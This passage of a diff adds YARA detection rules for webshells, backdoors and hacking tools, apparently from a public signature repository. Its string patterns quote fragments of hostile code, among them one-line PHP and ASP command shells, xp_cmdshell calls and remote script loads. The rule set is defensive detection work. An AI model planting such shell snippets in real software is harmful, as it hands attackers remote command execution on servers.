+		$s3 = "If ProxyData <> \"\" Then ProxyData = Replace(ProxyData, DATA_SEPERATOR, \"<br />\")"
+	condition:
+		all of them
+}
+rule EditServer_2 {
+	meta:
+		description = "Webshells Auto-generated - file EditServer.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "5c1f25a4d206c83cdfb006b3eb4c09ba"
+		id = "bd254bd9-fd23-5807-9347-2a559089b7c5"
+	strings:
+		$s0 = "@HOTMAIL.COM"
+		$s1 = "Press Any Ke"
+		$s3 = "glish MenuZ"
+	condition:
+		all of them
+}
+rule by064cli {
+	meta:
+		description = "Webshells Auto-generated - file by064cli.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "10e0dff366968b770ae929505d2a9885"
+		id = "9ea88f0c-9275-5567-a4d9-0545de8044d1"
+	strings:
+		$s7 = "packet dropped,redirecting"
+		$s9 = "input the password(the default one is 'by')"
+	condition:
+		all of them
+}
+rule Mithril_dllTest {
+	meta:
+		description = "Webshells Auto-generated - file dllTest.dll"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "a8d25d794d8f08cd4de0c3d6bf389e6d"
+		id = "59a6bfb6-c099-56cd-b40e-3e92ea0eb7d3"
+	strings:
+		$s0 = "please enter the password:"
+		$s3 = "\\dllTest.pdb"
+	condition:
+		all of them
+}
+rule peek_a_boo {
+	meta:
+		description = "Webshells Auto-generated - file peek-a-boo.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "aca339f60d41fdcba83773be5d646776"
+		id = "f6ca33b5-e37f-5124-a193-a3056c559314"
+	strings:
+		$s0 = "__vbaHresultCheckObj"
+		$s1 = "\\VB\\VB5.OLB"
+		$s2 = "capGetDriverDescriptionA"
+		$s3 = "__vbaExceptHandler"
+		$s4 = "EVENT_SINK_Release"
+		$s8 = "__vbaErrorOverflow"
+	condition:
+		all of them
+}
+rule fmlibraryv3 {
+	meta:
+		description = "Webshells Auto-generated - file fmlibraryv3.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "c34c248fed6d5a20d8203924a2088acc"
+		id = "9b8ef79d-80bb-5a05-91e6-0f2bc3fd3068"
+	strings:
+		$s3 = "ExeNewRs.CommandText = \"UPDATE \" & tablename & \" SET \" & ExeNewRsValues & \" WHER"
+	condition:
+		all of them
+}
+rule Debug_dllTest_2 {
+	meta:
+		description = "Webshells Auto-generated - file dllTest.dll"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "1b9e518aaa62b15079ff6edb412b21e9"
+		id = "cf81e3de-513c-584d-bc37-6504e91b170c"
+	strings:
+		$s4 = "\\Debug\\dllTest.pdb"
+		$s5 = "--list the services in the computer"
+	condition:
+		all of them
+}
+rule connector {
+	meta:
+		description = "Webshells Auto-generated - file connector.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "3ba1827fca7be37c8296cd60be9dc884"
+		id = "e46026bc-c570-5057-a132-5a459c959a69"
+	strings:
+		$s2 = "If ( AttackID = BROADCAST_ATTACK )"
+		$s4 = "Add UNIQUE ID for victims / zombies"
+	condition:
+		all of them
+}
+rule shelltools_g0t_root_HideRun {
+	meta:
+		description = "Webshells Auto-generated - file HideRun.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "45436d9bfd8ff94b71eeaeb280025afe"
+		id = "dd71dbef-5b5d-5976-8b95-0f202a4b4795"
+	strings:
+		$s0 = "Usage -- hiderun [AppName]"
+		$s7 = "PVAX SW, Alexey A. Popoff, Moscow, 1997."
+	condition:
+		all of them
+}
+rule PHP_Shell_v1_7 {
+	meta:
+		description = "Webshells Auto-generated - file PHP_Shell_v1.7.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "b5978501c7112584532b4ca6fb77cba5"
+		id = "7eb69ac3-90bb-5a44-8dcd-e71f5edcf18f"
+	strings:
+		$s8 = "<title>[ADDITINAL TITTLE]-phpShell by:[YOURNAME]"
+	condition:
+		all of them
+}
+rule xssshell_save {
+	meta:
+		description = "Webshells Auto-generated - file save.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "865da1b3974e940936fe38e8e1964980"
+		id = "f33c7559-e2f7-5223-a0e9-4e1d3bc7f080"
+	strings:
+		$s4 = "RawCommand = Command & COMMAND_SEPERATOR & Param & COMMAND_SEPERATOR & AttackID"
+		$s5 = "VictimID = fm_NStr(Victims(i))"
+	condition:
+		all of them
+}
+rule screencap {
+	meta:
+		description = "Webshells Auto-generated - file screencap.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "51139091dea7a9418a50f2712ea72aa6"
+		id = "0c1b71d3-ad54-5230-b1ab-971647e76139"
+	strings:
+		$s0 = "GetDIBColorTable"
+		$s1 = "Screen.bmp"
+		$s2 = "CreateDCA"
+	condition:
+		all of them
+}
+rule FSO_s_phpinj_2 {
+	meta:
+		description = "Webshells Auto-generated - file phpinj.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "dd39d17e9baca0363cc1c3664e608929"
+		id = "db8f835e-eb13-50f3-a60b-7d8ffcaa5eaa"
+	strings:
+		$s9 = "<? system(\\$_GET[cpc]);exit; ?>' ,0 ,0 ,0 ,0 INTO"
+	condition:
+		all of them
+}
+rule ZXshell2_0_rar_Folder_zxrecv {
+	meta:
+		description = "Webshells Auto-generated - file zxrecv.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "5d3d12a39f41d51341ef4cb7ce69d30f"
+		id = "9d36541f-dd55-5385-8e2b-598ad78bdf73"
+	strings:
+		$s0 = "RyFlushBuff"
+		$s1 = "teToWideChar^FiYP"
+		$s2 = "mdesc+8F D"
+		$s3 = "\\von76std"
+		$s4 = "5pur+virtul"
+		$s5 = "- Kablto io"
+		$s6 = "ac#f{lowi8a"
+	condition:
+		all of them
+}
+rule FSO_s_ajan {
+	meta:
+		description = "Webshells Auto-generated - file ajan.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "22194f8c44524f80254e1b5aec67b03e"
+		id = "03bf98b9-c8c5-5b9f-b0cd-700c5ed58eac"
+	strings:
+		$s4 = "entrika.write \"BinaryStream.SaveToFile"
+	condition:
+		all of them
+}
+rule c99shell {
+	meta:
+		description = "Webshells Auto-generated - file c99shell.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "90b86a9c63e2cd346fe07cea23fbfc56"
+		id = "ce88027c-ae08-59f3-948d-6f3d58515468"
+	strings:
+		$s0 = "<br />Input&nbsp;URL:&nbsp;&lt;input&nbsp;name=\\\"uploadurl\\\"&nbsp;type=\\\"text\\\"&"
+	condition:
+		all of them
+}
+rule phpspy_2005_full {
+	meta:
+		description = "Webshells Auto-generated - file phpspy_2005_full.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "d1c69bb152645438440e6c903bac16b2"
+		id = "41a0560a-b22e-5028-8ad1-710c5758cb1d"
+	strings:
+		$s7 = "echo \"  <td align=\\\"center\\\" nowrap valign=\\\"top\\\"><a href=\\\"?downfile=\".urlenco"
+	condition:
+		all of them
+}
+rule FSO_s_zehir4_2 {
+	meta:
+		description = "Webshells Auto-generated - file zehir4.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "5b496a61363d304532bcf52ee21f5d55"
+		id = "7de89d22-0230-508a-ac50-f61730ad9f4e"
+	strings:
+		$s4 = "\"Program Files\\Serv-u\\Serv"
+	condition:
+		all of them
+}
+rule FSO_s_indexer_2 {
+	meta:
+		description = "Webshells Auto-generated - file indexer.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "135fc50f85228691b401848caef3be9e"
+		id = "8ef79a60-fa8c-51ee-bd87-f5467a66099b"
+	strings:
+		$s5 = "<td>Nerden :<td><input type=\"text\" name=\"nerden\" size=25 value=index.html></td>"
+	condition:
+		all of them
+}
+rule HYTop_DevPack_2005 {
+	meta:
+		description = "Webshells Auto-generated - file 2005.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "63d9fd24fa4d22a41fc5522fc7050f9f"
+		id = "963effd9-f31d-5238-9419-b5dd11822e56"
+	strings:
+		$s7 = "theHref=encodeForUrl(mid(replace(lcase(list.path),lcase(server.mapPath(\"/\")),\"\")"
+		$s8 = "scrollbar-darkshadow-color:#9C9CD3;"
+		$s9 = "scrollbar-face-color:#E4E4F3;"
+	condition:
+		all of them
+}
+rule _root_040_zip_Folder_deploy {
+	meta:
+		description = "Webshells Auto-generated - file deploy.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "2c9f9c58999256c73a5ebdb10a9be269"
+		id = "7e592ab2-8a53-59d5-a45d-971398586479"
+	strings:
+		$s5 = "halon synscan 127.0.0.1 1-65536"
+		$s8 = "Obviously you replace the ip address with that of the target."
+
+	condition:
+		all of them
+}
+rule by063cli {
+	meta:
+		description = "Webshells Auto-generated - file by063cli.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "49ce26eb97fd13b6d92a5e5d169db859"
+		id = "9b4a4842-e084-53e8-90fb-603ba034b7df"
+	strings:
+		$s2 = "#popmsghello,are you all right?"
+		$s4 = "connect failed,check your network and remote ip."
+	condition:
+		all of them
+}
+rule icyfox007v1_10_rar_Folder_asp {
+	meta:
+		description = "Webshells Auto-generated - file asp.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "2c412400b146b7b98d6e7755f7159bb9"
+		id = "52150b6a-2f60-5e6b-86d1-61bc0aeb4fa8"
+	strings:
+		$s0 = "<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>eval(Request.form('#')+'')</SCRIPT>"
+	condition:
+		all of them
+}
+
+rule byshell063_ntboot_2 {
+	meta:
+		description = "Webshells Auto-generated - file ntboot.dll"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "cb9eb5a6ff327f4d6c46aacbbe9dda9d"
+		id = "9bcb401d-619b-54b8-be51-f0e3b6eb096c"
+	strings:
+		$s6 = "OK,job was done,cuz we have localsystem & SE_DEBUG_NAME:)"
+	condition:
+		all of them
+}
+rule u_uay {
+	meta:
+		description = "Webshells Auto-generated - file uay.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "abbc7b31a24475e4c5d82fc4c2b8c7c4"
+		id = "6a670e19-6e53-5b13-aabf-fe74d48b9113"
+	strings:
+		$s1 = "exec \"c:\\WINDOWS\\System32\\freecell.exe"
+		$s9 = "SYSTEM\\CurrentControlSet\\Services\\uay.sys\\Security"
+	condition:
+		1 of them
+}
+rule bin_wuaus {
+	meta:
+		description = "Webshells Auto-generated - file wuaus.dll"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "46a365992bec7377b48a2263c49e4e7d"
+		id = "50b5323b-d8d1-5350-bf93-8dde3d11fd87"
+	strings:
+		$s1 = "9(90989@9V9^9f9n9v9"
+		$s2 = ":(:,:0:4:8:C:H:N:T:Y:_:e:o:y:"
+		$s3 = ";(=@=G=O=T=X=\\="
+		$s4 = "TCP Send Error!!"
+		$s5 = "1\"1;1X1^1e1m1w1~1"
+		$s8 = "=$=)=/=<=Y=_=j=p=z="
+	condition:
+		all of them
+}
+rule pwreveal {
+	meta:
+		description = "Webshells Auto-generated - file pwreveal.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "b4e8447826a45b76ca45ba151a97ad50"
+		id = "3d79dd13-9012-56e2-b42a-e6b3e204c601"
+	strings:
+		$s0 = "*<Blank - no es"
+		$s3 = "JDiamondCS "
+		$s8 = "sword set> [Leith=0 bytes]"
+		$s9 = "ION\\System\\Floating-"
+	condition:
+		all of them
+}
+rule shelltools_g0t_root_xwhois {
+	meta:
+		description = "Webshells Auto-generated - file xwhois.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "0bc98bd576c80d921a3460f8be8816b4"
+		id = "8f3b3bb2-5884-584a-8220-b6edbfebc8a3"
+	strings:
+		$s1 = "rting! "
+		$s2 = "aTypCog("
+		$s5 = "Diamond"
+		$s6 = "r)r=rQreryr"
+	condition:
+		all of them
+}
+rule vanquish_2 {
+	meta:
+		description = "Webshells Auto-generated - file vanquish.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "2dcb9055785a2ee01567f52b5a62b071"
+		id = "6736cad6-cba1-5b6f-ae05-e2b980280479"
+	strings:
+		$s2 = "Vanquish - DLL injection failed:"
+	condition:
+		all of them
+}
+rule down_rar_Folder_down {
+	meta:
+		description = "Webshells Auto-generated - file down.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "db47d7a12b3584a2e340567178886e71"
+		id = "4e0a0e03-4f01-5b58-807c-0934cdda77ab"
+	strings:
+		$s0 = "response.write \"<font color=blue size=2>NetBios Name: \\\\\"  & Snet.ComputerName &"
+	condition:
+		all of them
+}
+rule cmdShell {
+	meta:
+		description = "Webshells Auto-generated - file cmdShell.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "8a9fef43209b5d2d4b81dfbb45182036"
+		id = "be256fc4-8dc5-58e4-9ca2-5a1df936b8dd"
+	strings:
+		$s1 = "if cmdPath=\"wscriptShell\" then"
+	condition:
+		all of them
+}
+rule ZXshell2_0_rar_Folder_nc {
+	meta:
+		description = "Webshells Auto-generated - file nc.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "2cd1bf15ae84c5f6917ddb128827ae8b"
+		id = "106209fc-f957-5131-825b-8eb7835625e0"
+	strings:
+		$s0 = "WSOCK32.dll"
+		$s1 = "?bSUNKNOWNV"
+		$s7 = "p@gram Jm6h)"
+		$s8 = "ser32.dllCONFP@"
+	condition:
+		all of them
+}
+rule portlessinst {
+	meta:
+		description = "Webshells Auto-generated - file portlessinst.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "74213856fc61475443a91cd84e2a6c2f"
+		id = "c641c522-7844-5002-8ae7-4aaf60d1337d"
+	strings:
+		$s2 = "Fail To Open Registry"
+		$s3 = "f<-WLEggDr\""
+		$s6 = "oMemoryCreateP"
+	condition:
+		all of them
+}
+rule SetupBDoor {
+	meta:
+		description = "Webshells Auto-generated - file SetupBDoor.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "41f89e20398368e742eda4a3b45716b6"
+		id = "055ff783-fa9f-5037-a3d6-88b58ec1612f"
+	strings:
+		$s1 = "\\BDoor\\SetupBDoor"
+	condition:
+		all of them
+}
+rule phpshell_3 {
+	meta:
+		description = "Webshells Auto-generated - file phpshell.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "e8693a2d4a2ffea4df03bb678df3dc6d"
+		id = "2f0ddfef-b3b5-592b-a9fb-fae4d825d0af"
+	strings:
+		$s3 = "<input name=\"submit_btn\" type=\"submit\" value=\"Execute Command\"></p>"
+		$s5 = "      echo \"<option value=\\\"$work_dir\\\" selected>Current Directory</option>\\n\";"
+	condition:
+		all of them
+}
+rule BIN_Server {
+	meta:
+		description = "Webshells Auto-generated - file Server.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "1d5aa9cbf1429bb5b8bf600335916dcd"
+		id = "1625b0ee-5f9f-57d8-8333-f175f46d6c59"
+	strings:
+		$s0 = "configserver"
+		$s1 = "GetLogicalDrives"
+		$s2 = "WinExec"
+		$s4 = "fxftest"
+		$s5 = "upfileok"
+		$s7 = "upfileer"
+	condition:
+		all of them
+}
+rule HYTop2006_rar_Folder_2006 {
+	meta:
+		description = "Webshells Auto-generated - file 2006.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "c19d6f4e069188f19b08fa94d44bc283"
+		id = "bda89055-27f5-50b7-86a3-2c75a5f3eadc"
+	strings:
+		$s6 = "strBackDoor = strBackDoor "
+	condition:
+		all of them
+}
+rule r57shell_3 {
+	meta:
+		description = "Webshells Auto-generated - file r57shell.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "87995a49f275b6b75abe2521e03ac2c0"
+		id = "4129d77c-2981-587b-a83e-8767dc3a48d8"
+	strings:
+		$s1 = "<b>\".$_POST['cmd']"
+	condition:
+		all of them
+}
+rule HDConfig {
+	meta:
+		description = "Webshells Auto-generated - file HDConfig.exe"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "7d60e552fdca57642fd30462416347bd"
+		id = "6f743137-e85a-5298-b51e-c8792e507d28"
+	strings:
+		$s0 = "An encryption key is derived from the password hash. "
+		$s3 = "A hash object has been created. "
+		$s4 = "Error during CryptCreateHash!"
+		$s5 = "A new key container has been created."
+		$s6 = "The password has been added to the hash. "
+	condition:
+		all of them
+}
+rule FSO_s_ajan_2 {
+	meta:
+		description = "Webshells Auto-generated - file ajan.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "22194f8c44524f80254e1b5aec67b03e"
+		id = "a66c34ed-0ae2-5e04-bfc4-c82583c5e066"
+	strings:
+		$s2 = "\"Set WshShell = CreateObject(\"\"WScript.Shell\"\")"
+		$s3 = "/file.zip"
+	condition:
+		all of them
+}
+
+rule Webshell_and_Exploit_CN_APT_HK : Webshell
+{
+meta:
+	license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+	author = "Florian Roth (Nextron Systems)"
+	description = "Webshell and Exploit Code in relation with APT against Honk Kong protesters"
+	date = "10.10.2014"
+	score = 50
+	id = "eb37a22b-4e8a-5986-bd47-4ef5b4986f47"
+strings:
+	$a0 = "<script language=javascript src=http://java-se.com/o.js</script>" fullword
+	$s0 = "<span style=\"font:11px Verdana;\">Password: </span><input name=\"password\" type=\"password\" size=\"20\">"
+	$s1 = "<input type=\"hidden\" name=\"doing\" value=\"login\">"
+condition:
+	$a0 or ( all of ($s*) )
+}
+
+rule JSP_Browser_APT_webshell {
+	meta:
+		description = "VonLoesch JSP Browser used as web shell by APT groups - jsp File browser 1.1a"
+		author = "Florian Roth (Nextron Systems)"
+		date = "10.10.2014"
+		score = 60
+		id = "06988b5b-ec8b-5a10-b659-3e846057ea51"
+	strings:
+		$a1a = "private static final String[] COMMAND_INTERPRETER = {\"" ascii
+		$a1b = "cmd\", \"/C\"}; // Dos,Windows" ascii
+		$a2 = "Process ls_proc = Runtime.getRuntime().exec(comm, null, new File(dir));" ascii
+		$a3 = "ret.append(\"!!!! Process has timed out, destroyed !!!!!\");" ascii
+	condition:
+		all of them
+}
+
+rule JSP_jfigueiredo_APT_webshell {
+	meta:
+		description = "JSP Browser used as web shell by APT groups - author: jfigueiredo"
+		author = "Florian Roth (Nextron Systems)"
+		date = "12.10.2014"
+		score = 60
+		reference = "http://ceso.googlecode.com/svn/web/bko/filemanager/Browser.jsp"
+		id = "b5080e43-44e2-54fa-b03a-057dc75d14db"
+	strings:
+		$a1 = "String fhidden = new String(Base64.encodeBase64(path.getBytes()));" ascii
+		$a2 = "<form id=\"upload\" name=\"upload\" action=\"ServFMUpload\" method=\"POST\" enctype=\"multipart/form-data\">" ascii
+	condition:
+		all of them
+}
+
+rule JSP_jfigueiredo_APT_webshell_2 {
+	meta:
+		description = "JSP Browser used as web shell by APT groups - author: jfigueiredo"
+		author = "Florian Roth (Nextron Systems)"
+		date = "12.10.2014"
+		score = 60
+		reference = "http://ceso.googlecode.com/svn/web/bko/filemanager/"
+		id = "91575627-78c1-5ca1-8180-cc4004df88e8"
+	strings:
+		$a1 = "<div id=\"bkorotator\"><img alt=\"\" src=\"images/rotator/1.jpg\"></div>" ascii
+		$a2 = "$(\"#dialog\").dialog(\"destroy\");" ascii
+		$s1 = "<form id=\"form\" action=\"ServFMUpload\" method=\"post\" enctype=\"multipart/form-data\">" ascii
+		$s2 = "<input type=\"hidden\" id=\"fhidden\" name=\"fhidden\" value=\"L3BkZi8=\" />" ascii
+	condition:
+		all of ($a*) or all of ($s*)
+}
+
+rule Webshell_Insomnia {
+	meta:
+		description = "Insomnia Webshell - file InsomniaShell.aspx"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://www.darknet.org.uk/2014/12/insomniashell-asp-net-reverse-shell-bind-shell/"
+		date = "2014/12/09"
+		hash = "e0cfb2ffaa1491aeaf7d3b4ee840f72d42919d22"
+		score = 80
+		id = "62ed3695-9ab8-54d4-a9d2-b6270c56ccfb"
+	strings:
+		$s0 = "Response.Write(\"- Failed to create named pipe:\");" fullword ascii
+		$s1 = "Response.Output.Write(\"+ Sending {0}<br>\", command);" fullword ascii
+		$s2 = "String command = \"exec master..xp_cmdshell 'dir > \\\\\\\\127.0.0.1" ascii
+		$s3 = "Response.Write(\"- Error Getting User Info<br>\");" fullword ascii
+		$s4 = "string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes," fullword ascii
+		$s5 = "[DllImport(\"Advapi32.dll\", SetLastError = true)]" fullword ascii
+		$s9 = "username = DumpAccountSid(tokUser.User.Sid);" fullword ascii
+		$s14 = "//Response.Output.Write(\"Opened process PID: {0} : {1}<br>\", p" ascii
+	condition:
+		3 of them
+}
+
+rule HawkEye_PHP_Panel {
+	meta:
+		description = "Detects HawkEye Keyloggers PHP Panel"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/12/14"
+		score = 60
+		id = "1d185345-6684-538f-954a-45d57a618a7a"
+	strings:
+		$s0 = "$fname = $_GET['fname'];" ascii fullword
+		$s1 = "$data = $_GET['data'];" ascii fullword
+		$s2 = "unlink($fname);" ascii fullword
+		$s3 = "echo \"Success\";" fullword ascii
+	condition:
+		all of ($s*) and filesize < 600
+}
+
+rule SoakSoak_Infected_Wordpress {
+	meta:
+		description = "Detects a SoakSoak infected Wordpress site http://goo.gl/1GzWUX"
+		reference = "http://goo.gl/1GzWUX"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/12/15"
+		score = 60
+		id = "d147af65-72de-50be-9435-bef47eb4842a"
+	strings:
+		$s0 = "wp_enqueue_script(\"swfobject\");" ascii fullword
+		$s1 = "function FuncQueueObject()" ascii fullword
+		$s2 = "add_action(\"wp_enqueue_scripts\", 'FuncQueueObject');" ascii fullword
+	condition:
+		all of ($s*)
+}
+
+rule Pastebin_Webshell {
+	meta:
+		description = "Detects a web shell that downloads content from pastebin.com http://goo.gl/7dbyZs"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		score = 70
+		date = "13.01.2015"
+		reference = "http://goo.gl/7dbyZs"
+		id = "256051ed-da33-52b4-8bfb-ab990648d8fb"
+	strings:
+		$s0 = "file_get_contents(\"http://pastebin.com" ascii
+		$s1 = "xcurl('http://pastebin.com/download.php" ascii
+		$s2 = "xcurl('http://pastebin.com/raw.php" ascii
+
+		$x0 = "if($content){unlink('evex.php');" ascii
+		$x1 = "$fh2 = fopen(\"evex.php\", 'a');" ascii
+
+		$y0 = "file_put_contents($pth" ascii
+		$y1 = "echo \"<login_ok>" ascii
+		$y2 = "str_replace('* @package Wordpress',$temp" ascii
+	condition:
+		1 of ($s*) or all of ($x*) or all of ($y*)
+}
+
+rule ASPXspy2 {
+	meta:
+		description = "Web shell - file ASPXspy2.aspx"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "not set"
+		date = "2015/01/24"
+		hash = "5642387d92139bfe9ae11bfef6bfe0081dcea197"
+		id = "b68e0c98-0136-58d8-a2d6-57abccb1e942"
+	strings:
+		$s0 = "string iVDT=\"-SETUSERSETUP\\r\\n-IP=0.0.0.0\\r\\n-PortNo=52521\\r\\n-User=bin" ascii
+		$s1 = "SQLExec : <asp:DropDownList runat=\"server\" ID=\"FGEy\" AutoPostBack=\"True\" O" ascii
+		$s3 = "Process[] p=Process.GetProcesses();" fullword ascii
+		$s4 = "Response.Cookies.Add(new HttpCookie(vbhLn,Password));" fullword ascii
+		$s5 = "[DllImport(\"kernel32.dll\",EntryPoint=\"GetDriveTypeA\")]" fullword ascii
+		$s6 = "<p>ConnString : <asp:TextBox id=\"MasR\" style=\"width:70%;margin:0 8px;\" CssCl" ascii
+		$s7 = "ServiceController[] kQmRu=System.ServiceProcess.ServiceController.GetServices();" fullword ascii
+		$s8 = "Copyright &copy; 2009 Bin -- <a href=\"http://www.rootkit.net.cn\" target=\"_bla" ascii
+		$s10 = "Response.AddHeader(\"Content-Disposition\",\"attachment;filename=\"+HttpUtility." ascii
+		$s11 = "nxeDR.Command+=new CommandEventHandler(this.iVk);" fullword ascii
+		$s12 = "<%@ import Namespace=\"System.ServiceProcess\"%>" fullword ascii
+		$s13 = "foreach(string innerSubKey in sk.GetSubKeyNames())" fullword ascii
+		$s17 = "Response.Redirect(\"http://www.rootkit.net.cn\");" fullword ascii
+		$s20 = "else if(Reg_Path.StartsWith(\"HKEY_USERS\"))" fullword ascii
+	condition:
+		6 of them
+}
+
+
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2016-01-11
+	Identifier: Web Shell Repo
+	Reference: https://github.com/nikicat/web-malware-collection
+*/
+
+rule Webshell_27_9_c66_c99 {
+	meta:
+		description = "Detects Webshell - rule generated from from files 27.9.txt, c66.php, c99-shadows-mod.php, c99.php ..."
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "https://github.com/nikicat/web-malware-collection"
+		date = "2016-01-11"
+		score = 70
+		hash1 = "2b8aed49f50acd0c1b89a399647e1218f2a8545da96631ac0882da28810eecc4"
+		hash2 = "5d7709a33879d1060a6cff5bae119de7d5a3c17f65415822fd125af56696778c"
+		hash3 = "c377f9316a4c953602879eb8af1fd7cbb0dd35de6bb4747fa911234082c45596"
+		hash4 = "80ec7831ae888d5603ed28d81225ed8b256c831077bb8feb235e0a1a9b68b748"
+		hash5 = "6ce99e07aa98ba6dc521c34cf16fbd89654d0ba59194878dffca857a4c34e57b"
+		hash6 = "383d771b55bbe5343bab946fd7650fd42de1933c4c8f32449d9a40c898444ef1"
+		hash7 = "07f9ec716fb199e00a90091ffba4c2ee1a328a093a64e610e51ab9dd6d33357a"
